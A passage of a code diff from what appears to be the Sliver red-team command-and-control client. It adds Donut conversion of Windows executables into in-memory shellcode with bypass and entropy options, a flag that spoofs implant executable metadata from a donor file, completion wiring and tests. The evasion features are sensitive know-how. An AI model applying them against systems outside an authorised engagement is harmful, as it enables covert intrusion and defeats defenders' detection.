lineText = string(visible[:rel]) + renderCursorCell(string(visible[rel])) + string(visible[rel+1:])
} else {
lineText = string(visible) + cursorStyle.Render(" ")
lineText = string(visible) + renderCursorCell(" ")
}
}
}
@@ -917,11 +937,11 @@ func (m *editorModel) applyCursor(rendered, highlighted string, line []rune, sta
}
if cursor == len(line) {
left := ansi.Cut(highlighted, start, cursor)
return left + cursorStyle.Render(" ")
return left + renderCursorCell(" ")
}
left := ansi.Cut(highlighted, start, cursor)
right := ansi.Cut(highlighted, cursor+1, end)
return left + cursorStyle.Render(string(line[cursor])) + right
return left + renderCursorCell(string(line[cursor])) + right
}
func (m *editorModel) executeSearch(pattern string) {
+16 -1
View File
@@ -1,6 +1,7 @@
package exec
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
@@ -33,7 +34,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
f.Bool("env-inheritance", true, "inherit environment variables from the current process")
f.Bool("env-inheritance", false, "inherit environment variables from the current process")
f.StringArray("env", nil, "set an environment variable for the child process (key=value)")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)")
@@ -93,6 +94,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.Gen(executeAssemblyCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to assembly file (required)"))
carapace.Gen(executeAssemblyCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the assembly entrypoint (optional)"))
completers.RegisterLocalFilePathPositionalCompletion(executeAssemblyCmd, 0)
executeShellcodeCmd := &cobra.Command{
Use: consts.ExecuteShellcodeStr,
@@ -112,6 +114,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution")
f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows PE input only)")
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows PE input only)")
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows PE input only)")
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows PE input only)")
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows PE input only)")
f.Bool("shellcode-thread", false, "Run unmanaged EXE entrypoint as a new thread (Donut) (windows PE input only)")
f.Bool("shellcode-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (Donut) (windows PE input only)")
f.Uint32("shellcode-oep", 0, "Override original entry point (OEP) (Donut) (windows PE input only)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
@@ -119,6 +129,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["shikata-ga-nai"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures")
})
carapace.Gen(executeShellcodeCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shellcode file (required)"))
completers.RegisterLocalFilePathPositionalCompletion(executeShellcodeCmd, 0)
sideloadCmd := &cobra.Command{
Use: consts.SideloadStr,
@@ -147,6 +158,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.Gen(sideloadCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shared library file (required)"))
carapace.Gen(sideloadCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the binary (optional)"))
completers.RegisterLocalFilePathPositionalCompletion(sideloadCmd, 0)
spawnDllCmd := &cobra.Command{
Use: consts.SpawnDllStr,
@@ -175,6 +187,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.Gen(spawnDllCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to DLL file (required)"))
carapace.Gen(spawnDllCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the DLL entrypoint (optional)"))
completers.RegisterLocalFilePathPositionalCompletion(spawnDllCmd, 0)
migrateCmd := &cobra.Command{
Use: consts.MigrateStr,
@@ -260,6 +273,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["custom-exe"] = carapace.ActionFiles()
(*comp)["profile"] = generate.ProfileNameCompleter(con)
})
completers.RegisterLocalFilePathFlagCompletion(psExecCmd, "custom-exe")
carapace.Gen(psExecCmd).PositionalCompletion(carapace.ActionValues().Usage("hostname (required)"))
sshCmd := &cobra.Command{
@@ -290,6 +304,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["private-key"] = carapace.ActionFiles()
(*comp)["kerberos-keytab"] = carapace.ActionFiles()
})
completers.RegisterLocalFilePathFlagCompletions(sshCmd, "private-key", "kerberos-keytab")
carapace.Gen(sshCmd).PositionalCompletion(carapace.ActionValues().Usage("remote host to SSH to (required)"))
carapace.Gen(sshCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("command line with arguments"))
+219 -1
View File
@@ -20,27 +20,44 @@ package exec
import (
"bufio"
"bytes"
"context"
"fmt"
"io"
"log"
"os"
"path/filepath"
"strings"
"github.com/Binject/debug/pe"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
wasmdonut "github.com/sliverarmory/wasm-donut"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
)
const (
defaultExecuteShellcodeDonutEntropy = wasmdonut.DonutEntropyNone
defaultExecuteShellcodeDonutCompress = wasmdonut.DonutCompressNone
defaultExecuteShellcodeDonutExitOpt = wasmdonut.DonutExitThread
defaultExecuteShellcodeDonutBypass = wasmdonut.DonutBypassContinue
defaultExecuteShellcodeDonutHeaders = wasmdonut.DonutHeadersOverwrite
imageFileDLLMask = 0x2000
)
// ExecuteShellcodeCmd - Execute shellcode in-memory.
func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
targetName := activeTargetName(session, beacon)
targetOS := activeTargetOS(session, beacon)
targetArch := activeTargetArch(session, beacon)
rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
interactive, _ := cmd.Flags().GetBool("interactive")
@@ -60,6 +77,27 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
return
}
shellcodeConfig, shellcodeFlagsChanged, err := parseExecuteShellcodeFlags(cmd)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
shouldConvertPE, isDLLHint := shouldConvertExecuteShellcodePE(shellcodePath, shellcodeFlagsChanged)
if shouldConvertPE {
if targetOS != "windows" {
con.PrintErrorf("PE input and --shellcode-* options are only supported for Windows targets in execute-shellcode\n")
return
}
con.PrintInfof("Converting PE input to shellcode ...\n")
shellcodeBin, err = donutShellcodeFromPE(shellcodeBin, targetArch, isDLLHint, shellcodeConfig)
if err != nil {
con.PrintErrorf("Failed to convert PE input to shellcode: %s\n", err)
return
}
}
shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
if shikataGaNai {
if !rwxPages {
@@ -96,7 +134,7 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
return
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
msg := fmt.Sprintf("Sending shellcode to %s ...", targetName)
con.SpinUntil(msg, ctrl)
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Data: shellcodeBin,
@@ -135,6 +173,186 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverClient) {
}
}
func parseExecuteShellcodeFlags(cmd *cobra.Command) (*clientpb.ShellcodeConfig, bool, error) {
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
shellcodeCompressEnabled, _ := cmd.Flags().GetBool("shellcode-compress")
shellcodeExitOpt, _ := cmd.Flags().GetUint32("shellcode-exitopt")
shellcodeBypass, _ := cmd.Flags().GetUint32("shellcode-bypass")
shellcodeHeaders, _ := cmd.Flags().GetUint32("shellcode-headers")
shellcodeThread, _ := cmd.Flags().GetBool("shellcode-thread")
shellcodeUnicode, _ := cmd.Flags().GetBool("shellcode-unicode")
shellcodeOEP, _ := cmd.Flags().GetUint32("shellcode-oep")
anyChanged := cmd.Flags().Changed("shellcode-entropy") ||
cmd.Flags().Changed("shellcode-compress") ||
cmd.Flags().Changed("shellcode-exitopt") ||
cmd.Flags().Changed("shellcode-bypass") ||
cmd.Flags().Changed("shellcode-headers") ||
cmd.Flags().Changed("shellcode-thread") ||
cmd.Flags().Changed("shellcode-unicode") ||
cmd.Flags().Changed("shellcode-oep")
if shellcodeEntropy < 1 || shellcodeEntropy > 3 {
return nil, false, fmt.Errorf("shellcode-entropy must be between 1 and 3")
}
if shellcodeExitOpt < 1 || shellcodeExitOpt > 3 {
return nil, false, fmt.Errorf("shellcode-exitopt must be between 1 and 3")
}
if shellcodeBypass < 1 || shellcodeBypass > 3 {
return nil, false, fmt.Errorf("shellcode-bypass must be between 1 and 3")
}
if shellcodeHeaders < 1 || shellcodeHeaders > 2 {
return nil, false, fmt.Errorf("shellcode-headers must be 1 or 2")
}
shellcodeCompress := uint32(1)
if shellcodeCompressEnabled {
shellcodeCompress = 2
}
return &clientpb.ShellcodeConfig{
Entropy: shellcodeEntropy,
Compress: shellcodeCompress,
ExitOpt: shellcodeExitOpt,
Bypass: shellcodeBypass,
Headers: shellcodeHeaders,
Thread: shellcodeThread,
Unicode: shellcodeUnicode,
OEP: shellcodeOEP,
}, anyChanged, nil
}
func shouldConvertExecuteShellcodePE(shellcodePath string, shellcodeFlagsChanged bool) (bool, bool) {
ext := strings.ToLower(filepath.Ext(shellcodePath))
isPEByExt := ext == ".exe" || ext == ".dll"
return isPEByExt || shellcodeFlagsChanged, ext == ".dll"
}
func activeTargetName(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.GetName()
}
if beacon != nil {
return beacon.GetName()
}
return "target"
}
func activeTargetOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return strings.ToLower(session.GetOS())
}
if beacon != nil {
return strings.ToLower(beacon.GetOS())
}
return ""
}
func activeTargetArch(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.GetArch()
}
if beacon != nil {
return beacon.GetArch()
}
return ""
}
type executeShellcodeDonutOptions struct {
entropy int
compress int
exitOpt int
bypass int
headers int
thread bool
unicode bool
oep uint32
}
func normalizeExecuteShellcodeDonutConfig(config *clientpb.ShellcodeConfig) executeShellcodeDonutOptions {
opts := executeShellcodeDonutOptions{
entropy: defaultExecuteShellcodeDonutEntropy,
compress: defaultExecuteShellcodeDonutCompress,
exitOpt: defaultExecuteShellcodeDonutExitOpt,
bypass: defaultExecuteShellcodeDonutBypass,
headers: defaultExecuteShellcodeDonutHeaders,
}
if config == nil {
return opts
}
if config.Entropy >= 1 && config.Entropy <= 3 {
opts.entropy = int(config.Entropy)
}
if config.Compress >= 1 && config.Compress <= 2 {
opts.compress = int(config.Compress)
}
if config.ExitOpt >= 1 && config.ExitOpt <= 3 {
opts.exitOpt = int(config.ExitOpt)
}
if config.Bypass >= 1 && config.Bypass <= 3 {
opts.bypass = int(config.Bypass)
}
if config.Headers >= 1 && config.Headers <= 2 {
opts.headers = int(config.Headers)
}
opts.thread = config.Thread
opts.unicode = config.Unicode
if config.OEP > 0 {
opts.oep = config.OEP
}
return opts
}
func donutShellcodeFromPE(data []byte, arch string, isDLLHint bool, config *clientpb.ShellcodeConfig) ([]byte, error) {
peFile, err := pe.NewFile(bytes.NewReader(data))
if err != nil {
return nil, err
}
isDLL := isDLLHint || ((peFile.FileHeader.Characteristics & imageFileDLLMask) != 0)
ext := ".exe"
if isDLL {
ext = ".dll"
}
opts := normalizeExecuteShellcodeDonutConfig(config)
result, err := wasmdonut.Generate(context.Background(), data, ext, wasmdonut.GenerateOptions{
Ext: ext,
Arch: getExecuteShellcodeDonutArch(arch),
Bypass: opts.bypass,
Headers: opts.headers,
Entropy: opts.entropy,
Compress: opts.compress,
ExitOpt: opts.exitOpt,
Thread: opts.thread,
Unicode: opts.unicode,
OEP: opts.oep,
})
if err != nil {
return nil, err
}
return addExecuteShellcodeStackCheck(result.Loader), nil
}
func getExecuteShellcodeDonutArch(arch string) int {
donutArch := wasmdonut.DonutArchX84
switch strings.ToLower(arch) {
case "x32", "x86", "386":
donutArch = wasmdonut.DonutArchX86
case "x64", "amd64":
donutArch = wasmdonut.DonutArchX64
case "x84":
donutArch = wasmdonut.DonutArchX84
}
return donutArch
}
func addExecuteShellcodeStackCheck(shellcode []byte) []byte {
stackCheckPrologue := []byte{
0x48, 0x83, 0xE4, 0xF0, // and rsp,0xfffffffffffffff0
0x48, 0x83, 0xC4, 0x08, // add rsp,0x8
}
return append(stackCheckPrologue, shellcode...)
}
func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverClient) {
// Check active session
session := con.ActiveTarget.GetSessionInteractive()
@@ -0,0 +1,100 @@
package exec
import (
"testing"
"github.com/spf13/cobra"
)
func TestParseExecuteShellcodeFlagsDefaults(t *testing.T) {
cmd := newExecuteShellcodeFlagsTestCommand(t)
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
if err != nil {
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
}
if changed {
t.Fatalf("expected changed=false with defaults")
}
if cfg == nil {
t.Fatalf("expected non-nil config")
}
if cfg.Entropy != 1 || cfg.Compress != 1 || cfg.ExitOpt != 1 || cfg.Bypass != 3 || cfg.Headers != 1 {
t.Fatalf("unexpected defaults: %+v", cfg)
}
if cfg.Thread || cfg.Unicode || cfg.OEP != 0 {
t.Fatalf("unexpected default bool/OEP values: %+v", cfg)
}
}
func TestParseExecuteShellcodeFlagsChanged(t *testing.T) {
cmd := newExecuteShellcodeFlagsTestCommand(t)
if err := cmd.Flags().Set("shellcode-entropy", "2"); err != nil {
t.Fatalf("set shellcode-entropy: %v", err)
}
if err := cmd.Flags().Set("shellcode-compress", "true"); err != nil {
t.Fatalf("set shellcode-compress: %v", err)
}
if err := cmd.Flags().Set("shellcode-thread", "true"); err != nil {
t.Fatalf("set shellcode-thread: %v", err)
}
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
if err != nil {
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
}
if !changed {
t.Fatalf("expected changed=true")
}
if cfg.Entropy != 2 || cfg.Compress != 2 || !cfg.Thread {
t.Fatalf("unexpected changed config: %+v", cfg)
}
}
func TestParseExecuteShellcodeFlagsValidation(t *testing.T) {
cmd := newExecuteShellcodeFlagsTestCommand(t)
if err := cmd.Flags().Set("shellcode-bypass", "9"); err != nil {
t.Fatalf("set shellcode-bypass: %v", err)
}
if _, _, err := parseExecuteShellcodeFlags(cmd); err == nil {
t.Fatalf("expected validation error for shellcode-bypass")
}
}
func TestShouldConvertExecuteShellcodePE(t *testing.T) {
testCases := []struct {
name string
path string
flagsChanged bool
wantConvert bool
wantDLL bool
}{
{name: "exe by extension", path: "/tmp/payload.exe", flagsChanged: false, wantConvert: true, wantDLL: false},
{name: "dll by extension", path: "/tmp/payload.dll", flagsChanged: false, wantConvert: true, wantDLL: true},
{name: "raw shellcode", path: "/tmp/payload.bin", flagsChanged: false, wantConvert: false, wantDLL: false},
{name: "flags force conversion", path: "/tmp/payload.bin", flagsChanged: true, wantConvert: true, wantDLL: false},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
gotConvert, gotDLL := shouldConvertExecuteShellcodePE(tc.path, tc.flagsChanged)
if gotConvert != tc.wantConvert || gotDLL != tc.wantDLL {
t.Fatalf("unexpected result convert=%v dll=%v, expected convert=%v dll=%v", gotConvert, gotDLL, tc.wantConvert, tc.wantDLL)
}
})
}
}
func newExecuteShellcodeFlagsTestCommand(t *testing.T) *cobra.Command {
t.Helper()
cmd := &cobra.Command{Use: "execute-shellcode"}
cmd.Flags().Uint32("shellcode-entropy", 1, "")
cmd.Flags().Bool("shellcode-compress", false, "")
cmd.Flags().Uint32("shellcode-exitopt", 1, "")
cmd.Flags().Uint32("shellcode-bypass", 3, "")
cmd.Flags().Uint32("shellcode-headers", 1, "")
cmd.Flags().Bool("shellcode-thread", false, "")
cmd.Flags().Bool("shellcode-unicode", false, "")
cmd.Flags().Uint32("shellcode-oep", 0, "")
return cmd
}
+4
View File
@@ -79,10 +79,14 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if token || hidden || ppid != 0 {
if (session != nil && session.OS != "windows") || (beacon != nil && beacon.OS != "windows") {
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
ctrl <- true
<-ctrl
return
}
if envInheritance || len(envVars) > 0 {
con.PrintErrorf("The env and env-inheritance options are not supported with token, hidden, or ppid\n")
ctrl <- true
<-ctrl
return
}
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
+3
View File
@@ -1,6 +1,7 @@
package extensions
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/command/use"
@@ -33,6 +34,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
extensionCmd.AddCommand(extensionLoadCmd)
carapace.Gen(extensionLoadCmd).PositionalCompletion(carapace.ActionDirectories().Usage("path to the extension directory"))
completers.RegisterLocalFilePathPositionalCompletion(extensionLoadCmd, 0)
extensionInstallCmd := &cobra.Command{
Use: consts.InstallStr,
@@ -45,6 +47,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
extensionCmd.AddCommand(extensionInstallCmd)
carapace.Gen(extensionInstallCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to the extension .tar.gz or directory"))
completers.RegisterLocalFilePathPositionalCompletion(extensionInstallCmd, 0)
extensionRmCmd := &cobra.Command{
Use: consts.RmStr,
+3
View File
@@ -1,6 +1,7 @@
package filesystem
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/command/loot"
@@ -174,6 +175,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.ActionValues().Usage("path to the file or directory to download"),
carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"),
)
completers.RegisterLocalFilePathPositionalCompletion(downloadCmd, 1)
uploadCmd := &cobra.Command{
Use: consts.UploadStr,
@@ -194,6 +196,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.ActionFiles().Usage("local path to the file to upload"),
carapace.ActionValues().Usage("path to the file or directory to upload to (optional)"),
)
completers.RegisterLocalFilePathPositionalCompletion(uploadCmd, 0)
memfilesCmd := &cobra.Command{
Use: consts.MemfilesStr,
+46 -1
View File
@@ -1,6 +1,9 @@
package generate
import (
"strings"
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
@@ -11,6 +14,15 @@ import (
"github.com/spf13/pflag"
)
const spoofMetadataLongHelp = `
Spoof Metadata:
--spoof-metadata
Use metadata settings from <client app dir>/spoof-metadata.yaml.
--spoof-metadata /path/to/donor.exe
Use metadata from the specified donor file. The donor must match the target format/goos/goarch.
`
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
// [ Generate ] --------------------------------------------------------------
@@ -83,6 +95,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.BoolP("skip-tests", "s", false, "skip testing the traffic encoder (not recommended)")
})
carapace.Gen(trafficEncodersAddCmd).PositionalCompletion(carapace.ActionFiles("wasm").Tag("wasm files").Usage("local file path (expects .wasm)"))
completers.RegisterLocalFilePathPositionalCompletion(trafficEncodersAddCmd, 0)
trafficEncodersCmd.AddCommand(trafficEncodersAddCmd)
trafficEncodersRmCmd := &cobra.Command{
@@ -115,6 +128,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.BindFlagCompletions(regenerateCmd, func(comp *carapace.ActionMap) {
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
})
completers.RegisterLocalFilePathFlagCompletion(regenerateCmd, "save")
carapace.Gen(regenerateCmd).PositionalCompletion(ImplantBuildNameCompleter(con))
// [ Profiles ] --------------------------------------------------------------
@@ -151,6 +165,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
})
completers.RegisterLocalFilePathFlagCompletion(profilesGenerateCmd, "save")
carapace.Gen(profilesGenerateCmd).PositionalCompletion(ProfileNameCompleter(con))
profilesCmd.AddCommand(profilesGenerateCmd)
@@ -182,6 +197,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.BoolP("prepend-size", "p", false, "Prepend stage size")
f.StringP("compress", "c", "", "Compress stage (zlib, gzip, deflate9 or deflate)")
})
completers.RegisterLocalFilePathFlagCompletion(profilesStageCmd, "save")
carapace.Gen(profilesStageCmd).PositionalCompletion(ProfileNameCompleter(con))
profilesCmd.AddCommand(profilesStageCmd)
@@ -342,6 +358,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
f.StringP("limit-hostname", "z", "", "limit execution to specified hostname")
f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem")
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
bindSpoofMetadataFlag(f)
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows, darwin/arm64, linux/amd64, linux/arm64)")
@@ -384,6 +401,32 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
_ = f.MarkDeprecated("donut-oep", "use --shellcode-oep")
_ = f.MarkHidden("donut-oep")
})
appendSpoofMetadataLongHelp(cmd)
}
func bindSpoofMetadataFlag(f *pflag.FlagSet) {
if f == nil {
return
}
spoofMetadataFlag := f.VarPF(newSpoofMetadataFlagValue(), spoofMetadataFlagName, "", "spoof executable metadata (optional donor path)")
if spoofMetadataFlag != nil {
spoofMetadataFlag.NoOptDefVal = "true"
}
}
func appendSpoofMetadataLongHelp(cmd *cobra.Command) {
if cmd == nil {
return
}
if strings.Contains(cmd.Long, "--spoof-metadata") {
return
}
trimmed := strings.TrimRight(cmd.Long, "\n")
if trimmed == "" {
cmd.Long = strings.TrimLeft(spoofMetadataLongHelp, "\n")
return
}
cmd.Long = trimmed + spoofMetadataLongHelp
}
// coreImplantFlagCompletions binds completions to flags registered in coreImplantFlags.
@@ -394,11 +437,13 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) {
(*comp)["arch"] = ArchCompleter(con)
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["save"] = completers.LocalFilePathCompleter().Tag("directory/file to save implant")
(*comp)[spoofMetadataFlagName] = carapace.ActionFiles().Tag("optional donor metadata file")
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
(*comp)["c2profile"] = HTTPC2Completer(con)
})
completers.RegisterLocalFilePathFlagCompletions(cmd, "save", "debug-file", spoofMetadataFlagName)
registerImplantTargetFlagCompletions(cmd, con)
}
+51
View File
@@ -0,0 +1,51 @@
package generate
import (
"testing"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/spf13/cobra"
)
func TestGenerateSaveFlagCompletionRegistered(t *testing.T) {
cmds := Commands(&console.SliverClient{})
generateCmd := commandByUse(cmds, consts.GenerateStr)
if generateCmd == nil {
t.Fatalf("missing %q command", consts.GenerateStr)
}
assertFlagHasDefaultFileCompletion(t, generateCmd, "save")
beaconCmd := commandByUse(generateCmd.Commands(), consts.BeaconStr)
if beaconCmd == nil {
t.Fatalf("missing %q subcommand", consts.BeaconStr)
}
assertFlagHasDefaultFileCompletion(t, beaconCmd, "save")
}
func assertFlagHasDefaultFileCompletion(t *testing.T, cmd *cobra.Command, flag string) {
t.Helper()
completionFn, ok := cmd.GetFlagCompletionFunc(flag)
if !ok {
t.Fatalf("%q missing %q flag completion func", cmd.Use, flag)
}
values, directive := completionFn(cmd, nil, "")
if len(values) != 0 {
t.Fatalf("%q %q completion should return no explicit values, got %d", cmd.Use, flag, len(values))
}
if directive != cobra.ShellCompDirectiveDefault {
t.Fatalf("%q %q completion directive mismatch: got=%v want=%v", cmd.Use, flag, directive, cobra.ShellCompDirectiveDefault)
}
}
func commandByUse(cmds []*cobra.Command, use string) *cobra.Command {
for _, cmd := range cmds {
if cmd.Use == use {
return cmd
}
}
return nil
}
+8 -3
View File
@@ -41,8 +41,13 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
if config == nil {
return
}
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
config.IsBeacon = true
err := parseBeaconFlags(cmd, config)
err = parseBeaconFlags(cmd, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -52,9 +57,9 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
save, _ = os.Getwd()
}
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
compile(name, config, save, con)
compile(name, config, spoofMetadata, save, con)
} else {
externalBuild(name, config, save, con)
externalBuild(name, config, spoofMetadata, save, con)
}
}
+497 -6
View File
@@ -19,7 +19,9 @@ package generate
*/
import (
"bytes"
"context"
"encoding/base64"
"errors"
"fmt"
"net"
@@ -33,6 +35,8 @@ import (
"strings"
"time"
"github.com/Binject/debug/pe"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
@@ -90,6 +94,11 @@ var (
ErrNoSelection = errors.New("no selection")
)
const (
spoofMetadataFlagName = "spoof-metadata"
imageFileDLLCharacteristic = 0x2000
)
// GenerateCmd - The main command used to generate implant binaries
func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if shouldRunGenerateForm(cmd, con, args) {
@@ -112,14 +121,19 @@ func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if config == nil {
return
}
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
save, _ := cmd.Flags().GetString("save")
if save == "" {
save, _ = os.Getwd()
}
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
compile(name, config, save, con)
compile(name, config, spoofMetadata, save, con)
} else {
_, err := externalBuild(name, config, save, con)
_, err := externalBuild(name, config, spoofMetadata, save, con)
if err != nil {
switch err {
case ErrNoExternalBuilder:
@@ -518,6 +532,315 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
return name, config
}
func parseSpoofMetadataFlag(cmd *cobra.Command, config *clientpb.ImplantConfig) (*clientpb.SpoofMetadataConfig, error) {
if cmd == nil {
return nil, nil
}
spoofMetadataFlag := cmd.Flags().Lookup(spoofMetadataFlagName)
if spoofMetadataFlag == nil || !spoofMetadataFlag.Changed {
return nil, nil
}
spoofMetadataValue := ""
if spoofMetadataFlag.Value != nil {
spoofMetadataValue = strings.TrimSpace(spoofMetadataFlag.Value.String())
}
switch strings.ToLower(spoofMetadataValue) {
case "false":
if len(cmd.Flags().Args()) > 0 {
return nil, fmt.Errorf("--%s=false does not accept a donor path argument", spoofMetadataFlagName)
}
return nil, nil
case "", "true":
pathArg, err := spoofMetadataPathArg(cmd)
if err != nil {
return nil, err
}
if pathArg == "" {
return parseSpoofMetadataFromConfigFile()
}
return parseSpoofMetadataFromPath(pathArg, config)
default:
if len(cmd.Flags().Args()) > 0 {
return nil, fmt.Errorf("--%s accepts a donor path from either the flag value or positional argument, not both", spoofMetadataFlagName)
}
return parseSpoofMetadataFromPath(spoofMetadataValue, config)
}
}
func spoofMetadataPathArg(cmd *cobra.Command) (string, error) {
if cmd == nil {
return "", nil
}
switch args := cmd.Flags().Args(); len(args) {
case 0:
return "", nil
case 1:
return strings.TrimSpace(args[0]), nil
default:
return "", fmt.Errorf("--%s accepts at most one donor path argument", spoofMetadataFlagName)
}
}
func parseSpoofMetadataFromConfigFile() (*clientpb.SpoofMetadataConfig, error) {
configPath := assets.SpoofMetadataConfigPath()
config, err := assets.LoadSpoofMetadataConfig()
if err != nil {
return nil, fmt.Errorf("failed to load spoof metadata config %s: %w", configPath, err)
}
spoofMetadata, err := spoofMetadataConfigToProtobuf(config)
